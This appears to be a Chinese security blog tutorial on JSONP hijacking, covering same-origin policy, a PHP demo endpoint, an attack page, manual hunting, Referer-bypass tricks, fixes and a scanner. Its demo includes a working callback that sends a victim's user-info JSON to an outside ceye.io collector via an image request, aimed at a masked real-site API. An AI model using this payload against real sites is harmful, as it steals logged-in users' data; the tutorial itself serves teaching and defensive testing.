什么是JSONP劫持漏洞
要了解jsonp接触漏洞
,我们需要先了解这个概念:
同源策略
简单讲,同源策略指的是 只有同协议、同域名、同端口的服务可以传输数据,而不同的网站无法传输数据,用于保证我们传输数据的安全性。
简单说,就是你在A网站登录后的数据,在你登录B网站的时候,基于同源策略,A网站的数据并不会传输到B网站。
但是问题来了,在一些环境下,我们反而有这个需求:在不同源的情况下,我们需要传输数据,比如在登录百度贴吧的账号后,使用百度搜索,会自然而然的获取到你在贴吧登录时候的一些信息(就是举个例子哈~)。
这时候,jsonp这种跨域传输数据的方法就诞生了: 在html标签中,< script>
、<img>
、< iframe>
等标签是允许进行资源的跨域获取的,因此利用这一点,我们就可以使用js调用我们想要的数据。
jsonp使用回调函数来在第三方网站调出我们的敏感信息,从而达到获取敏感信息的目的,常见的利用场景如下:
- 蓝队溯源,获取攻击者信息
- 获取用户敏感信息,执行进一步操作(绕过token找CSRF之类的)
- 传输用户数据信息(正常用途)
jsonp 漏洞演示
在PHP环境下可以参考这个环境: jsonp_env,其实就相当于接收一个请求后返回相应的数据:
php
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
$json_data='({"hh":"1","name":"fsdfa"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
这时候我们可以新建一个html,使用< script>
可以跨域的特性,获取相应的数据并弹出:
html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
< script type="text/javascript">
function callbackFunction(result)
{
alert(JSON.stringify(result))
}
</script>
< script type="text/javascript" src="http://127.0.0.1/jsonp_env/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>
我们可以看到,在访问attack.html
后,浏览器向getuser.php
发送了请求数据的请求,并获了值进行返回,从而达到信息窃取的目的:
在真实的攻击场景,我们就可以使用js把敏感数据返回到我们的服务器,直接获取敏感数据,这里为了方便演示,我们使用ceye平台来使用DNS或者HTTP来接收敏感数据,把上面的html改造下:
html
< script type="text/javascript">function jsonp_1610359498402_9620(json){
alert(JSON.stringify(json))
new Image().src="http://xxxx6.ceye.io/" + JSON.stringify(json)
}
</script>
< script src="https://pcw-api.xxxxx.com/passport/user/userinfodetail?area=tw&callback=jsonp_1610359498402_9620"></script>
效果如下:
JSONP 漏洞挖掘
- 在JSONP挖掘中,并不是只有callback才会出现JSONP漏洞,我们可一自己构造调用,毕竟
< script>
标签不支持同源策略,只有没有referer等限制,就有可能存在漏洞。 - 使用火狐/谷歌浏览器打开开发者模式,选择
Network
,勾选Preserve log
选项,防止干扰
在左下搜栏目寻找或者在可能存在jsonp
的地方添加检索相应的关键字
,访问目标相关网站即可。
同时,我们也可以尝试在一些敏感数据传输的参数重增加相应的关键字
,也有可能有意外收获。
html
jsonp
jsoncb
jsonpcb
cb
json
jsonpcall
jsoncall
jQuery
callback
back
```
JSONP 漏洞修复
增加Referer
我们在HTTP头信息中增加Referer
选项,通过Referer
我们可以知道访客是怎么来到当前页面的。如果Referer
不存在或者信息不对,不返回信息,着么做可以在一定程度上进行防御,但是在某些场合也可以进行绕过:
- 利用目标网站的点击跳转,或者将referer清空
- 在校验不严格的情况下,子域名,相关域名伪造
Referer
进行绕过 - 参数绕过,例如 `Referer: htttp://aaa.com/?bbb.com
- 使用XSS漏洞进行跳转绕过限制
增加白名单
- 严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
- 严格过滤 callback 函数名及 JSON 里数据的输出。
JSONP 漏洞扫描
在了解漏洞原理,和常规手动发现漏洞步骤后,不难发现这是一个重复性极高的工作,那么我们完全可以使用脚本来代替前期的发现工作,我们只负责测试相关就好。而漏洞扫描主要分为下面的主动扫描和被动扫描两种:
主动扫描
我们使用爬虫爬取相关的链接,然后发送两个Referer
信息不同的数据包,来判断是否进行了jsonp数据传输的限制,如果返回数据一样,那就证明可能存在jsonp问题。
使用RAD爬虫手机网址,使用check_jsonp_based_on_ast进行漏洞检测,这里使用携程的的一个jsonp进行验证
https://accounts.ctrip.com/ssoproxy/ssoGetUserInfo?jsonp=jQuery2398423949823
这个jsonp本身并没有泄露什么敏感数据,并不存在jsonp问题,但是可以方便我们进行测试,在简单修改后脚本在这18.jsonpscan,其中效果简单如下(还是需要改下的,并发和筛选之类的,这里只能简单参考下):
但是有个问题: jsonp的敏感信息一般都是需要登录后进行判断的,主动扫描+登录就很麻烦,因此,在面对信息泄漏相关的漏洞时,我们更倾向于被动扫描。
被动扫描
http被动扫描
简而言之,还是需要先了解代理
相关的的资料,再根据代理相关的数据进行修改。基本原理如图:
看到这里,我们就很了解http的被动代理怎么做了:流量转发到我们设定的端口,然后在端口进行循环监听,筛选数据,在匹配到合适的数据就进行输出,代码如下:
url
https://github.com/shangzeng/GolangTools/blob/master/18.jsonpscan/other.go
设定代理端口为 7777 ,打开burpsuit 进行设置:
浏览器访问之前jsonp环境,触发漏洞:
这时候我们会发现,存在一些 443 connect
的日志,这是因为 https
的原因。
https被动扫描
https
增加了证书相关的信息,依此我们需要导入正式进行,目前还在看,等弄完了会专门写一下学习历程。
最后
本来打算试试扫描下jsonp的问题,无意间发现secin的一个存储XSS,记录下:
相关推荐: 关于大火的Print Spooler漏洞的深度分析
本篇文章几天之前就整理好了,一直没有时间整理,往平台上发。 前言 前一段时间,Windows Print Spooler的CVE-2021-1675和CVE-2021-34527两个洞被炒的沸沸扬扬。漏洞的利用姿势也是越来越多样,由刚开始的本地提权演变为后来的…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论